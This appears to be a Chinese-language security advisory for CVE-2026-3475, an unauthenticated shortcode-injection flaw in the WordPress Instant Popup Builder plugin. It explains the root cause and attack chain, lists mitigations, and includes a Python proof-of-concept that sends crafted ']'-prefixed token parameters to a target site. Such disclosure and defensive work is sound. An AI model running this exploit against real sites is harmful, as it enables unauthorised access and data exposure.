IPBUF安全漏洞报告
English
CVE-2026-3475 CVSS 5.3 中危

CVE-2026-3475 WordPress Instant Popup Builder未授权短代码执行漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-3475
漏洞类型
未授权短代码执行
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Instant Popup Builder插件 for WordPress

相关标签

短代码执行WordPress插件未授权访问代码注入Instant Popup BuilderCVE-2026-3475

漏洞概述

WordPress的Instant Popup Builder插件存在严重的安全漏洞,攻击者可在无需任何认证的情况下执行任意注册的短代码。该漏洞源于插件的handle_email_verification_page()函数从用户提供的GET参数(token、email)直接构造短代码字符串,并传递给do_shortcode()函数执行。虽然代码中使用了sanitize_text_field()和esc_attr()进行过滤,但这些函数不会移除或转义方括号字符[和]。攻击者可通过构造包含]字符的恶意token参数,提前闭合短代码标签,从而注入并执行任意短代码。这可能导致敏感数据泄露、权限提升甚至远程代码执行,取决于服务器上注册的短代码功能。

技术细节

漏洞核心在于WordPress短代码解析机制的特殊性。WordPress使用正则表达式[^\]\/]*来匹配短代码标签内的内容,这意味着任何]字符都会立即终止当前短代码标签。攻击流程如下:1) 访问包含?token=xxx的URL触发init钩子;2) handle_email_verification_page()函数获取GET参数token和email;3) 直接拼接字符串如'[shortcode token="'.$_GET['token'].'" email="'.$_GET['email'].'"]';4) 调用do_shortcode()执行。攻击者构造token值为']任意短代码',可使最终字符串变为'[shortcode token="]任意短代码" email="..."]',其中]提前关闭标签,后续内容作为独立短代码执行。关键是插件在init钩子上注册回调且无任何权限检查,任何访问者均可触发。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标WordPress站点是否安装Instant Popup Builder插件,并确定版本号(需<=1.1.7)
STEP 2
构造恶意请求
攻击者构造包含特殊构造的token参数,payload格式为']任意短代码',用于提前闭合短代码标签
STEP 3
发送攻击请求
通过GET请求向目标站点发送恶意token参数,触发init钩子调用的handle_email_verification_page()函数
STEP 4
短代码注入
由于sanitize_text_field()和esc_attr()不过滤方括号,]字符导致短代码标签提前关闭,后续内容作为独立短代码解析
STEP 5
执行恶意短代码
WordPress的do_shortcode()函数执行注入的任意短代码,可能导致数据泄露、权限提升或RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-3475 PoC - Unauthenticated Arbitrary Shortcode Execution # Target: WordPress site with Instant Popup Builder plugin <= 1.1.7 target_url = "http://target-wordpress-site.com/" # Example 1: Execute [wp_admin] shortcode if registered (check available shortcodes first) payload = "]" # Close the outer shortcode tag prematurely shortcode_injection = "[any_registered_shortcode_here]" # Inject arbitrary shortcode params = { 'token': payload + shortcode_injection, 'email': '[email protected]' } # Trigger the vulnerable endpoint response = requests.get(target_url, params=params) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Example 2: More complex payload to execute admin shortcode payload2 = "]\[wp_admin]" # Close outer tag and open new shortcode params2 = { 'token': payload2, 'email': '[email protected]' } response2 = requests.get(target_url, params=params2) print(f"Exploit Response: {response2.text[:500]}")

影响范围

Instant Popup Builder <= 1.1.7 (所有版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 暂时禁用Instant Popup Builder插件;2) 使用WAF(如Wordfence、Sucuri)规则阻止包含]字符的token参数请求;3) 通过.htaccess或Nginx配置限制对含特殊字符参数的访问;4) 添加IP白名单限制访问验证页面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表